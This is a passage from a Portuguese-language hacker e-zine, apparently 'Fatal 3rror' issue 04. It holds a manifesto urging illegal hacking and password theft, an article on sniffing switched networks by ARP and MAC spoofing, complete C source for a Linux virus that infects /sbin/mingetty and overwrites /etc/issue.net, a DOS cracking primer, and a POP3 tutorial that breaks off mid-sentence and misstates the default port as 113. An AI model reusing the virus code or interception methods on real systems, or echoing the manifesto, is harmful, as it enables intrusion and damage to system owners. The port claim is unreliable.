________________________ _______________________________ / __________ _______ / /_____ _____by_Cheat_Struck__/ / /__ ___ / /___ / / ___/ /___ ___ __ ___ / ___// o \ / // o \ / / /__ // o \ / o \ / \ / o \ / / / _ // // _ // /___ _____/ // _ // _ // O // _ / /__/ / //_// // //_//_____/ /_______// / \_\ / \_\\__// / \_\ )/ )/ )/ )/ )/ )/ ' ' ' ' ' ' Everyone here hates everyone here for doing just like they do. Fatal 3rror Edition.......04 Date..........Some_Day/03/01 By............Cheat Struck Email.........cheat@struck.8m.com cszine@email.com decopudim@ig.com.br Page..........http://struck.8m.com/f3 _xXXXP^'' ``^YXXXx_ _xXXXXP~ 00 - TopicZ ~YXXXXx_ _xXXXXXX( )XXXXXXx_ xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP ~YXXXXXX( )XXXXXXP~ ~YXXXXb_ Cheat Struck _dXXXXP~ ~YXXXbx.. ..xdXXXP~ .od[ 00 ]bo. TopicZ / Cheat Struck .od[ 01 ]bo. Introducao / Cheat Struck .od[ 02 ]bo. TipZ / Cheat Struck .od[ 03 ]bo. Piratas Modernos / Cheat Struck .od[ 04 ]bo. A ARTE DE SNIFFAR REDES ETHERNET SEGMENTADAS / syscall .od[ 05 ]bo. Virii in Linux / Cheat Struck .od[ 06 ]bo. Cracking / Cheat Struck .od[ 07 ]bo. Protocolos Parte I - pop3 / pcHazard .od[ 08 ]bo. Curiosidades sobre o Chaves / Cheat Struck .od[ 09 ]bo. Overfl0w Dictionaty / Cheat Struck .od[ 10 ]bo. Mandando y Spoofeando Mails Falsos de Latin Mail / §µlï_©òól .od[ 11 ]bo. Heap Overflow: exemplo simplicado / c0nd0r .od[ 12 ]bo. idiot things about phreak / Cheat Struck .od[ 13 ]bo. Wrapper + C + Xterm / kamikase shell .od[ 14 ]bo. RELATO SOBRE A CETERP DE RIBEIRAO PRETO / OverniX .od[ 15 ]bo. Sempre Alertas Escoteiros mirins! / Cheat Struck .od[ 16 ]bo. Monitorando telnet usando "in.telnetsnoopd" / Tinker Train .od[ 17 ]bo. Hack Test / Cheat Struck .od[ 18 ]bo. Super Progs!!! / Cheat Struck .od[ 19 ]bo. 3m4ilZ / Cheat Struck .od[ 20 ]bo. This is d end / Cheat Struck _xXXXP^'' ``^YXXXx_ _xXXXXP~ 01 - Introducao ~YXXXXx_ _xXXXXXX( )XXXXXXx_ xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP ~YXXXXXX( )XXXXXXP~ ~YXXXXb_ Cheat Struck _dXXXXP~ ~YXXXbx.. ..xdXXXP~ Aeee!!! Estou devolta depois de exaustivos meses dedicados ao estudo, a bebida e as mulheres. Mas depois de tudo isso, estou feliz por ter garan- tido minha vaga na pucrs, aumentado minha resistencia ao alcool e minha lista de telefones... =) Qdo eu voltei, o clima aki no Brasil estava meio quente por causa de frequentes invasoes a sites relacionados a seguranca cujo nao vale a pena citar nomes. Porem alguns sites invadidos sao, a meu respeito, os melhores sites brasileiros de security. Talvez por issu as coisas fikaram tao feia para o lado do invasor: psaux. A fatal 3rror eh uma zine, nao um grupo, e por issu nao se responsabiliza pelos atos de seus autores. Agora, do meu ponto de vista, essas invasoes serviram para mostrar a comunidade hacker/securiter brasileira muitas coisas: A primeira com certeza e' que nem mesmo os melhores securiters do brasil estao realmente preparados para proteger seus sistemas contra ataques mais articulados como este. O bug exploitado, por ser 0day, nao havia como ser fixado mas poderia ser no minimo monitorado para evitar que as invasoes se repetissem como aconteceu. Tambem fiquei impressionado com a ignorancia de lamahs que se indignaram com a declaracao do psaux aos "hackers brasileiros" (com aspas nitidamente demonstrando ironia). Se vc leu os emails enviados a insecure percebera do que estou falando. Eles acusam o psaux de ter usado um exploit, que a propria securenet criou, contra a mesma; Inventam alguem para assumir a id do psaux; Titulam a hackweiser de grupo lamah sem ao menos direito o grupo. Porra! Se vc nao eh um dos 0wnados ou amigo dos mesmos, entao vc nao tem motivo para odiar o psaux; vc eh apenas um lamah que esta usando isso como pretesto para ter o que falar no seus kanais "hackers" (ohhh! olhem as aspas aki tb!); vc esta com inveja dele por ter feito algo que vc nao e' capaz; vc nao foi afetado por estes defacements e e' idiota o suficiente para assumir sua lamisse qdo se ofende com as criticas aos "hackers brasileiros". Prestem atencao!!! Quem foi criticado foram os que se julgam rackers em quanto mudam htmls com seus xploits em perl rodados em windows e script-kiddies brasileiros que acham que por terem uma colecao de xploits ja sao hackers. O Brasil nunca foi criticado e sim os "rackers". Eu entendo a raiva dos programadores e securiters da securenet e apoio que se sintam assim pois eu se fosse 0wnado tb me sentiria. Mas fora estes, nao consegui encontrar um motivo que nao fosse a propria lamisse. Issu eh tudo o que tenho a falar sobre este assunto. Sobre a zine nao preciso falar nada... Voce vai ler ela mesmo. Ah! Esta zine esta sendo lida tambem no Mexico! Fikei sabendo disso depois que um mexicano decidiu colaborar com a zine enviando-me uma materia. =) _xXXXP^'' ``^YXXXx_ _xXXXXP~ 02 - TiPZ ~YXXXXx_ _xXXXXXX( )XXXXXXx_ xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP ~YXXXXXX( )XXXXXXP~ ~YXXXXb_ Cheat Struck _dXXXXP~ ~YXXXbx.. ..xdXXXP~ Autores dessa edicao: --------------------- Cheat Struck pcHazard kamikase shell syscall Tinker Train OverniX <> §µlï_©òól c0nd0r Onde baixar a Fatal 3rror??? ---------------------------- http://struck.8m.com/f3 Extraindo a f3 e seus programas: -------------------------------- [root@localhost ~]# tar -zxvf f3-03.tgz f3/ f3/f3-02.txt f3/extract.c [root@localhost ~]# cd f3 [root@localhost f3]# gcc extract.c -o extract [root@localhost f3]# ./extract f3-03.txt - Extracting virii/virii.c - Extracting protocolos/pop3/popcrack.pl - Extracting protocolos/pop3/mbclean.pl - Extracting protocolos/pop3/pcmail.pl - Extracting heap/heap.c - Extracting noaccess/noaccess.c - Extracting noaccess/ipcaph.d - Extracting noaccess/install.sh - Extracting noaccess/kkshflood.c - Extracting Superprogs/scanport.c [root@localhost f3]# _xXXXP^'' ``^YXXXx_ _xXXXXP~ 03 - Piratas Modernos ~YXXXXx_ _xXXXXXX( )XXXXXXx_ xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP ~YXXXXXX( )XXXXXXP~ ~YXXXXb_ Cheat Struck _dXXXXP~ ~YXXXbx.. ..xdXXXP~ Quem ainda nao cansou de ouvir reportagens dizendo "Os hackers, os piratas de computador, atacaram mais um site na internet, a rede mundial de comps"??? Para os leigos isso vira motivo de medo e revolta. Porem, para os que entendem do assunto sabem como essaa materiaa sao ridiculas. Deve existir um molde para as reportagens sobre crimes virtuais, pois a unica coisa q os jornais informam eh o site atacado e o grupo responsavel. Como a reportagem ficaria mto pequena, eles resolvem encher linguica explicando repetidas vezes quem sao os hackers e o que e' internet (como se ninguem soubesse disso ainda). E' compreensivel que se os jornais entrassem em detalhes sobre os ataques, apenas uma pequena massa de telespectadores (ou leitores, dependendo do tipo de jornal) seria atingida. Entao, por que a imprensa nao tenta entender o que se passa na cabeca desses "rebeldes virtuais" ao invez de simplesmente divulgar seus feitos??? Eu nao sei se quem nos propagou como os piratas da rede fomos nos mesmos ou a imprensa, mas sei que ambos os lados estao satisfeitos com esta rotulacao. Para eles, os piratas nao passavam de ladroes sanguinarios que abordavam embarcacoes em busca de riquesas e de sangue. Os piratas eram criminosos assim como nos somos. Nos temos uma visao diferente dos piratas. Assim como os piratas nos agimos em um terreno ainda pouco conhecido pelo mundo. Eles agiam no mar, nos agimos nas redes de computadores. Quando os piratas atacavam navios negreiros, eles escolhiam os melhores escravos para fazerem parte da sua tripulacao. Estes ex-escravos chegavam a assumir cargos altos como o de capitao, o que mostra que entre os piratas nao havia racismo. Assim como eles, nos nao temos preconceitos raciais. Nao importa se a pessoa atras da outra maquina for negro, branco, indio, etc. O que importa eh o que passa na cabeca dela e eh assim que nos as julgamos. Os piratas do milenio passado e os piratas deste novo milenio tiveram a coragem de ir contra um sistema injusto e enfrentar a propria patria. Nao temos nacionalidade e nao aceitamos as coisas do jeito que estao. Por isso nos rebelamos. Descobrimos como acabar com aqueles que sao injustos. Descobrimos como roubar de empresas corruptas. Descobrimos um novo mundo. Este mundo eh o futuro e nos dominamos hoje o que dominara' voce no futuro. Nos temos controle sobre as maquinas pois, ao invez de pensarmos nelas como simples acessorios comodistas, estavamos estudando como elas funcionavam. Agora nos controlamos a base para onde o futuro esta voltado: os computadores. Derrubamos seus sites, pirateamos seus produtos, roubamos seus passwords por que nao estamos satisfeitos com a situacao. Optamos por uma manifestacao pacifica. Ninguem se feriu, ate' hj, por uma invasao hacker. Mas isso irrita voces. Entao, que tal se fossemos `as ruas armados com fuzils e matassemos todos os que sao contra nossos ideais??? Por que nao fazemos isso??? Por que nao podemos. Nos acabariamos presos ou mortos. Mas aqui quem controla as coisas somos nos. Isso e' o que nos sabemos fazer e, com certeza, nao e' algo idiota nao, pois se fosse, nao haveria tanta gente irritada com nossos atos e nao haveriam criado leis contra isso. O que fazemos agora e' ilegal. Estamos conseguindo atingir voces e por isso nao iremos parar. Nao temos um unico ideal. Alguns de nos sao contra o governo; outros, contra empresas corruptas; e alguns fazem isso por pura diversao, pois ainda estao exitados com a ideia de poder fazer algo criminoso pelo seu computador. Cada um tem sua propria maneira de pensar e por isso nos dividimos em grupos. Ok. Mas ainda nao ficou claro o que leva um hacker a comecar a cometer atos de pirataria. O mesma coisa que leva um politico a roubar: o poder. Quando um politico e' eleito, ele percebe que tem o poder de fazer o que ele bem entender por que ele tem apoio do povo. O povo lhe deu o seu poder. Nos conquistamos nosso poder sozinhos e quando vimos que havia algo errado decidimos fazer uso dele. Nao demorou muito para que isso acontece-se. Agora existem leis contra aquilo que fazemos. Entao que nos tornemos infrigidores da lei. Que tornemo-nos manifestantes ilegais. Vamos violar a lei. Seremos os piratas da nova era. Os piratas de computador. Os hackers. _xXXXP^'' ``^YXXXx_ _xXXXXP~ 04 - A ARTE DE SNIFFAR ~YXXXXx_ _xXXXXXX( REDES ETHERNET SEGMENTADAS )XXXXXXx_ xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP ~YXXXXXX( )XXXXXXP~ ~YXXXXb_ syscall _dXXXXP~ ~YXXXbx.. ..xdXXXP~ ============================================================================== A ARTE DE SNIFFAR REDES ETHERNET Segmentadas ============================================================================== syscall@bol.com.br icq:163 No texto dessa edicao vou falar um pouco sobre sniffers.o pq ? bom, pq 90% das redes que são comprometidas e o root eh conseguido, para se manter o acessso e progredir a invasão para demais maquinas muitas vezes se eh utilizado tal ferra menta. Por outro lado o uso de sniffers pode ser feito por administrador, para verifi car o trafego em sua rede para ver o overhead , algum gargalo , analisar algu mas assinaturas de ataques e etc. Siga o desenho: ___ ___ | A |--------------|hub |------------------| C | ___ | --- | | _|__ | B | ---- O Host A quer se comunicar com o Host C 1 - O host A transmite um frame pro host C 2 - O Hub faz um broadcast desse frame para todas as suas portas 3 - O Host B vai checkar o endereço de MAC destino com o seu, como é dife rente (normalmente ele descartaria) 4 - Por o Mac Destino ser igual o Mac do C ele irá processar o pacote Quando o modo promiscuo eh habilitado numa placa de rede , ela nao faz essa checkagem de pacotes e todo pacote q bate em sua interface, ela ja' sai proces sando o mesmo Como se pode ver, num ambiente de rede nao segmentada acaba se tornando simples o ato de se sniffar uma rede uma vez q o meio de comunicacao eh compar tilhado o que permite o acesso direto aos dados transeuntes na rede. Entretanto como medida de segurança as pessoas/empresas comecaram a usar Switchs com intuito de aumentar a seguranca entre outras coisas. O Switch quando usa VLANS (Virtual Lans) trata cada vlan como um segmento, jo gando os frames ethernets apenas para as portas que tais enderecos estao relacionados em sua tabela arp e que possua roteamento para a mesma. Uma maneira de se sniffar uma rede deste tipo, seria por exemplo: O atacante manda pacotes arp spoffados para o seu "target" se fazendo passar pelo seu gateway padrao fazendo q todo trafego gerado pela a maquina target utilize a maquina atacante como rota default. (a maquina atacante tem de estar com o ip forwarding habilitado para poder realmente rotear tal trafego ficando transparente para o target). Existe tmb a possibilidade de se spoofar a Tabela MAC do switch para causar um stress violento onde o switch (algumas marcas e modelos)passam a funcionar como um hub fazendo broadcast dos pacotes para todas as portas. Outra situacao seria Spoffar o Mac Address de algum servidor POP3 ou Telnet e aponta lo para o Seu Mac Address, e com o servico pop3 ativo em sua maquina (ou alguma outra na rede) vc sniffar todos as tentativas de autenticacao dos usuarios de POP3 da rede. E por fim (porem nao a ultima) a outra maneira de se sniffar redes segmentadas por switch, seria a utilizacao de RMON (Remote Monitoring). O Rmon eh uma padrao q permite estacoes de gerenciamento (RMON PROBE) e consoles (RMON CONSOLE) trocar informacoes "gerenciais" Entao por exemplo temos um "RMON probe" capaz de gerenciar um segmento ethernet e mandar essas informacoes para a "RMON console" O Rmon eh divido em 9 grupos : Statistics,alarm,host,HostTopN,matrix, Filters , Packet Capture, events. Porem a principio apenas o "Filters" e o "Packet Capture" serao importantes. O Filter eh muito parecido com o Bpf e pode se colocar protocolo , endereco, porta. porem para esses filtros devem ser capturados de algum jeito, e nada mais logico de termos um grupo Packet filter, q diz o tamanho dos dados, status completo... Quase todo switch tem algumas dos grupos Rmon e quando habilitado possibilita se sniffar todo o backplane do switch, vc soh precisa claro ter acesso ao switch (console,telnet,ssh,snmpX e etc..) Eh isso ai por enquanto eh soh.. talvez no proximo texto eu traga algo sobre como fazer seu proprio sniffer. Referencias:www.cisco.com RFC 1757 TCP/IP ILUSTRATED - Comer =)) _xXXXP^'' ``^YXXXx_ _xXXXXP~ 05 - Virii in Linux ~YXXXXx_ _xXXXXXX( )XXXXXXx_ xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP ~YXXXXXX( )XXXXXXP~ ~YXXXXb_ Cheat Struck _dXXXXP~ ~YXXXbx.. ..xdXXXP~ Bom... vc ja deve ter ouvido falarem que e' impossivel um virus funcionar em unixes por causa do sistema de permissao de arquivos. A teoria seria de que o virus nao conseguiria infectar nenhum arquivo a pois nao teria permissao de escrita neste. Como ja e' de costume, a pratica contradiz a teoria, e e' issu que acontece aki novamente. Para um virus infectar algum arquivo, este precisa de permissao para escrita no arquivo, e issu pode ser conseguido se o virus tiver como usuario executor o root. E como conseguir isto? Facil. Ao invez do virus infectar qualquer arquivo executavel, ele deve ser direcionado apenas a programas suids, daemons, programas usados na inicializacao e outros arquivos soh executaveis pelo root do sistema. O virus tambem pode infectar qualquer arquivo, desde que leve junto um conjunto de instrucoes que verifique se o executor eh o root. Em outras palavras: if (getuid() == 0) { Issu verifica se o uid do executor eh 0. Caso o uid seja 0 as funcoes seguintes devem ser as basicas de um virus: - Verifica se o arquivo eh ELF; - Verifica se o arquivo ja foi infectado; - Se nao foi: - infecta e pula para o programa original. - Se foi: - Verifica se a BOMBA ja deve ser ativada; - Pula para o programa original. BOMBA?? Isso mesmo. Este eh o termo usado para o codigo malicioso do virus. Ou seja, aquele que executa algo que possa irritar o admin. A BOMBA pode tanto abrir uma backdoor qto alterar um index.html. Entendido? Seguimos adiante... O virus que criei como exemplo foi baseado no eworm codeado por sm0g pela sua simplicidade e facil compreensao. Usei descaradamente system()'s para o virus fikar pequeno. Ele faz as verificacoes se o arquivo eh ELF e se ja foi infectado depois infecta-o. O metodo de executar o programa original ainda eh muito inseguro mas por hora esta bom. Outros comentarios estao no source. <++> virii/virii.c // TestVirus by Cheat Struck // ######################### // // Este virus foi feito para estudo. // Ele foi feito com base no eworm do Dr.sm0g, porem foi muito // simplificado. A funcao basica do virus eh infectar o /sbin/mingetty. // O programa abusa de system()'s para diminuir o tamanho. // A BOMBA deste virus eh alterar o /etc/issue.net. Ela e' ativada apos a // 2a execucao do arquivo infectado(/sbin/mingetty). // Assim como o eworm, optei por definir uma variavel para o tamanho do // virus. Esta variavel deve ser alterada sempre que o source for mudado. // O virus original fikou com menos de 10k o q e' perfeito para um virus. // O source esta todo comentado para melhor compreensao. // #include #include #include #include #define INFECTFILE "/sbin/mingetty" #define TAMANHO 9421 main(int argc,char *argv[],char *envp[]) { char Elf[5]={0x7f,0x45,0x4c,0x46,'\0'}, Ebuff[5]={'\0'}, ID[3]={0x45,0x57,'\0'}, Buff[100]; FILE *fp; int bd=0; struct stat info,*ip; stat(argv[0],ip=&info); //------------------------------ // Verifica se o Executor eh o root // e se o programa executado eh o virus ou um file infectado. //------------------------------ if((getuid()==0)&&(ip->st_size==TAMANHO)) bd=1; if((bd==0)&&(ip->st_size!=TAMANHO)) { //------------------------------ // Se ja existir o /tmp/duhduh, executa a bomba. //------------------------------ if(access("/tmp/duhduh",F_OK)==0) { //BOMBA //Altera o /etc/issue.net if (getuid() == 0) { fp = fopen("/etc/issue.net","w"); fprintf(fp,"This fuck was 0wned!!!!\n"); fclose(fp); } execve("/tmp/duhduh",argv,envp); exit(0); } else { //------------------------------ // Se nao existir o /tmp/duhduh, cria-o. // Este arquivo eh o programa original criado para depois ser executado. //------------------------------ sprintf(Buff,"tail -c%ld %s> /tmp/duhduh", (ip->st_size)-TAMANHO, argv[0]); system(Buff); sprintf(Buff,"chmod +x /tmp/duhduh"); system(Buff); execve("/tmp/duhduh",argv,envp); } } else { if (bd=1) { //------------------------------ // Comeca a infectar... //------------------------------ // Cria um substituto do arquivo a ser infectado // para que este seja alterado. //------------------------------ system("rm -f /tmp/dihdih"); sprintf(Buff,"cp -f %s /tmp/dihdih",INFECTFILE); system(Buff); fp = fopen("/tmp/dihdih","r+"); //------------------------------ // Verifica se o arquivo eh ELF //------------------------------ fread(Ebuff, 4, 1, fp); if(strcmp(Ebuff,Elf)==0) { //------------------------------ // Verifica se o arquivo ja foi infectado //------------------------------ bzero(Ebuff,20); fseek(fp,-2,SEEK_END); fread(Ebuff,2,1,fp); if(strcmp(Ebuff,ID)!=0) { //------------------------------ // Infecta o arquivo //------------------------------ fseek(fp,0,SEEK_END); fwrite(ID,2,1,fp); fclose(fp); system("rm -f /tmp/duhduh"); sprintf(Buff, "head -c%i %s >/tmp/duhduh", TAMANHO, argv[0]); system(Buff); sprintf(Buff, "cat /tmp/dihdih >> /tmp/duhduh"); system(Buff); system("chmod +x /tmp/duhduh"); sprintf(Buff, "rm -f %s",INFECTFILE); system(Buff); sprintf(Buff, "mv -f /tmp/duhduh %s", INFECTFILE); system(Buff); } } system("rm -f /tmp/dihdih"); } } } <--> _xXXXP^'' ``^YXXXx_ _xXXXXP~ 06 - Cracking ~YXXXXx_ _xXXXXXX( )XXXXXXx_ xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP ~YXXXXXX( )XXXXXXP~ ~YXXXXb_ Cheat Struck _dXXXXP~ ~YXXXbx.. ..xdXXXP~ Quem sao os crackers?? Hackers do mau? Nah!! issu foi uma coisa que a imprensa mal-informada colocou na cabeca. Crackers sao programadores que possuem conhecimento suficiente para burlarem programas. Um cracker bom na maioria das vezes manja mais do q um hacker bom, pois o cracker trabalha com programas compilados fazendo alteracoes neste, em quanto um hacker trabalha com programas open-source criando exploits para os bugs encontrados. Assembly e' a melhor linguagem de programacao existente para crackers entenderem como um OS interpreta a linguagem hexadecimal. Vou demonstar num exemplo simples com que base este estudo eh feito. Para nosso exemplo irei usar o Windows como OS. Seria meio ridiculo estudar Cracking em linux, ja que no linux a maioria dos programas sao open-source. As ferramentas que iremos utilisar serao o debug do msdos e um editor hexadecimal qualquer (facil de ser encontrado). Aviso: Voce deve ter um minimo conhecimento de ASM para poder entender o restante do texto perfeitamente. Comecamos abrindo o debug do msdos: C:\>debug -a 12DD:0100 mov al,6a 12DD:0102 int 10 12DD:0104 mov ax,4c00 12DD:0107 int 21 12DD:0109 -rip IP 0100 :109 -rcx CX 0000 :09 -n modelo.com -w Writing 00009 bytes -q C:\> Com isso criamos um programa "modelo.com" cujo iremos crackear mais tarde. Todos os comandos usados no prompt "-" sao basicos do debug e sao facilmente entendidos utilizando a ajuda dele. Com o comando "a" nos indicamos q vamos comecar a programar em ASM. O programa criado executa duas funcoes simples: ; Chama a funcao 006a (800x600) do video (interrupcao 10) MOV AL,6A INT 10 ; Chama a funcao 4c00 (sair) do msdos (interrupcao 21) MOV AX,4C00 INT 21 Resumidamente, o programa muda o modo de video para 800x600 e depois sai para o dos. Se quizer testa-lo rode-o no prompt e vc vera o resultado. Rode, agora, um editor hexadecimal qualquer neste programa. Voce pode usar o proprio debug mas eu pessoalmente prefiro um editor hexadecimal por ser muito mais pratico. De qualquer jeito, mostrarei como fazer para ler o programa em hexade- cimal pelo debug: C:\>debug modelo.com -d 100 108 1303:0100 B0 6A CD 10 B8 00 4C CD-21 .j....L.! - Note que se voce estiver num editor hexa, os valores serao os mesmos. Entao isso nao influencia no Cracking. Agora como decifrar essa linguagem e transforma-la novamente em ASM. Cada funcao em ASM e' representada por um caratere hexadecimal. Eis alguns exemplos: hexa: B0 xx funcao: mov al, xx exemplo: B0 6A ASM: mov al, 6a hexa: B4 xx funcao: mov ah, xx exemplo: B4 4C ASM: mov ah, 4c hexa: B8 xx yy funcao: mov ax, yyxx O valor aki e' duplo pois ocupa ah e al. exemplo: B8 00 4C ASM: mov ax, 4c00 hexa: CD xx funcao: int xx exemplo: CD 21 ASM: int 21 Etc... Com estes exemplos ja da pra ter uma nocao de como funciona essa comunicacao entre ASM e a Linguagem compilada. ASM e' basicamente uma simplificacao da linguagem compilada para deixar a vida do programador mais facil. Se voce tiver interessado em como descobrir os hexas que representam tais funcoes utilize o proprio debug para issu... -t AX=006A BX=0000 CX=0009 DX=0000 SP=FFFE BP=0000 SI=0000 DI=0000 DS=1303 ES=1303 SS=1303 CS=1303 IP=0102 NV UP EI PL NZ NA PO NC 1303:0102 CD10 INT 10 Note a ultima linha. Ela mostra a representasao hexadecimal ( CD10 ) e a funcao em ASM (INT 10). Agora vamos traduzir nosso programa: B0 6A CD 10 B8 00 4C CD 21 B0 6A = mov ah, 6A CD 10 = int 10 B8 00 4C = mov ax, 4c00 CD 21 = int 21 Uma vez dublado, o programa pode ser facilmente alterado. Vamos alterar o modo de video usado de 800x600 (6a) para 80x25 (07). B0 07 CD 10 B8 00 4C CD 21 ^^ Pronto! O programa esta alterado. Salve a alteracao e execute-o para ver o resultado. Este texto soh foi escrito como uma introducao ao Cracking e nenhum metodo avancado foi discutido. Se voce quizer apronfundar-se nesta area procure maior material pela internet. Sites como astalavista.box.sk tem um otimo conteudo. O exemplo publicado aki saiu na cszine 08 (antiga zine de minha autoria). Decidi publica-lo novamente pois muitos leitores da fatal 3rror nao estao familiarisados com a cszine. _xXXXP^'' ``^YXXXx_ _xXXXXP~ 07 - Protocolos Parte I - pop3 ~YXXXXx_ _xXXXXXX( )XXXXXXx_ xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP ~YXXXXXX( )XXXXXXP~ ~YXXXXb_ pcHazard _dXXXXP~ ~YXXXbx.. ..xdXXXP~ ---------- | Prefacio | ---------- Esta eh a primeira parte de uma serie de textos que escreverei falando sobre diversos protocolos que costumamos usar no nosso dia-a-dia. Inicialmente, pretendo falar sobre POP3, SMTP, FTP e HTTP. Depois, se eu achar algum outro protocolo interessante eu os passarei a voces. Se desejarem, enviem sugestoes sobre protocolos e seus respectivos RFCs que eu irei ler e passar para a zine da forma mais clara possivel. Com base nessas informacoes, o leitor que souber programar em alguma linguagem como perl, C, delphi etc estara ateh apto a escrever seus proprios clientes e servidores baseados nesses protocolos. Todos os textos serao retirados dos seus respectivos RFCs. Para quem nao sabe, RFC significa Request for Comments, ou requerimento de comentarios. Para cada tipo de protocolo existe pelo menos um RFC falando sobre o seu funcionamento. Para alguns protocolos, existem varios RFCs novos a medida que vao sendo atualizados. Outros RFCs podem ser encontrados na URL: http://www.cis.ohio-state.edu/htbin/rfc/ Com base nos RFCs, eu irei colocalos em uma maneira mais clara para o leitor e, e claro, em portugues, visto que os RFCs estao todos em ingles. Espero que esta serie de textos seja util para voce assim como foi para mim, pois me permitiu conhecer melhor os protocolos que eu usava e escrever clientes simples que satisfazessem minhas necessidades. Pretendo, apos cada texto, adicionar um cliente simples escrito em PERL para o protocolo discutido. ------ | POP3 | ------ RFC 1225 RFC 1725 Introducao O POP, ou Post Office Protocol, foi criado com a intencao de permitir que usuarios possam ler suas mensagens de e-mail remotamente sem precisar entrar em uma shell UNIX etc. O RFC1225 foi criado em Maio de 1991, ou seja, o protocolo POP3, assim como muitos outros protocolos que ainda usamos hoje em dia jah eh bem velinho... O RFC1725 eh uma atualizacao do RFC1225 em que se fez algumas mudancas: . Retirou os comandos LAST e RPOP . Adicionou os comandos APOP e UIDL como comandos extras. O APOP serve para autenticacao e UIDL serve como chave de diferenciacao entre uma mensagem e outra. Apesar do RFC1725 ser mais novo, iremos utilizar aqui como base o RFC1225 por ser o original, apenas adicionaremos os comandos extras do RFC1725. O RFC1225 nao especifica nenhum protocolo de comunicacao necessario para implementa-lo. Nos, no nosso caso, usamos o TCP como meio de comunicacao entre o servidor POP3 e o cliente. Ha no mercado varios clientes e servidores de POP3 para os mais diversos sistemas operacionais. Um exemplo deles sao: Servidores: * QPOP - servidor pop3 muito usado por provedores que rodam linux, as versoes mais encontradas sao a 2.53 e 3.0 A algum tempo saiu varios exploits para um bug nesse servidor que disponibilizava uma shell com UID=mail. Clientes: * Outlook Express - Criado pela Microsoft, eh muito comum entre os usuarios windows, e que tambem possui muitos bugs entre as versoes que atualmente sao usadas por virem como acompanhamento do Windows. * KMail - Muito usado pelos usuarios linux, possui uma interface grafica e requer o KDE instalado. * Pine - Muito usado entre usuarios linux, possui uma interface de console e eh menos usado entre usuarios iniciantes. Alem desses, ha outras formas de facilmente consultar um servidor POP3: criando seu proprio cliente atraves de codigos ja existentes como DLLs e componentes para Delphi. Eu, como programador em Delphi tambem, recomendo o SakEmail. Basicamente, a comunicacao usando o protocolo POP3 eh feita entre duas partes: o servidor e o cliente usando o protocolo TCP/IP e a porta padrao do servidor POP3 eh a 113. ______ _____ ___________ | | | | ________ | || |--------------------------| || | | +OK || | Comunicacao feita | || | | QPOP 2.53 || | usando TCP/IP | || | |___________||______| porta 113 |_____||________| Servidor Linux Voce usando com QPOP 2.53 Pine, Kmail, Outlook e etc. Funcionamento O servidor, ao ser ativado, aguarda conexoes do cliente POP3 na porta 113. Ao se estabelecer a conexao, o servidor envia uma mensagem de boas-vidas. Ex: OK+ pcHazard Personal POP3 Server v0.01 servicing you Em toda a transacao, o cliente envia pedidos terminados por um , quer dizer, um terminador de linha. CRLF significa Carriage Return Line Feed, ou retorno de carro e alimentacao de linha. Ele pode variar, mas qualquer servidor ira entender o conjunto de caracteres ascii 13 e 10 como sendo um . Depois de cada pedido do cliente, o servidor envia uma resposta. Existem 2 tipos de respostas vindas por parte do servidor: as positivas e as negativas. As positivas comecam com um "+OK" e indica que a operacao foi um sucesso e as negativas comecam com um "-ERR" e indicam que houve algum erro relacionado ao ultimo pedido do cliente. Para saber se um pedido foi bem sucedido ou mal sucedido basta olhar se a resposta comeca com um +OK ou com um -ERR. A mensagem posterior a esses indicadores variam de servidor para servidor. As respostas do servidor que possuirem mais de uma linha terminam com um . A mensagem de boas-vindas do servidor sempre eh uma mensagem positiva. De acordo com o RFC1225, a transacao POP3 eh dividida em 3 partes imaginarias: Autenticacao - Quando voce entra com o login e a senha Transacao - Voce le seus e-mails Atualizacao - Voce fecha sua mailbox e sai do servidor. Voce sempre pode sair do servidor usando o comando QUIT independente de que estado voce esteja no momento. Ha ainda no RFC1225 especificacoes sobre outros comandos complementares do protocolo POP3 que nao sao obrigatorios a ser implementados nos servidores POP3. Alguns servidores POP3 podem nao suporta-lo. Em todo caso, eh melhor utilizar somente os comandos padroes do protocolo POP3 descritos como padroes. Caso tenha certeza que seu servidor POP3 suporta esses comandos, eles podem ser usados pois permitem uma maior liberdade quanto ao gerenciamento da mailbox. -------------- | Autenticacao | -------------- Eh o estado em que o cliente POP3 se encontra quando se conecta ao servidor POP3, antes de se autenticar. Autenticar eh fazer com que o servidor reconheca quem voce eh. O mesmo usuario nao pode logar-se duas vezes simultaneamente no servidor POP3, porque quando o primeiro efetuar o logon no servidor POP3 ira dar um LOCK, ou seja, travar o arquivo que guarda as mensagens de e-mail. Ha 2 comandos que devem ser usados na autenticacao: USER Diz ao servidor que somos o usuario , que no caso dos servidores POP3 para linux, deve constar no /etc/shadow. Respostas: +OK Please send a PASS command O servidor aceitou seu login como valido e espera pelo comando PASS. -ERR I don't know you. O servidor nao o reconheceu. Envie um outro USER com outro login ou um QUIT e saia do servidor. PASS Diz ao servidor que quer se logar nele usando o login especificado pelo comando USER usando a senha que sera verificada no /etc/shadow. Respostas: +OK Maildrop has 2 messages O servidor 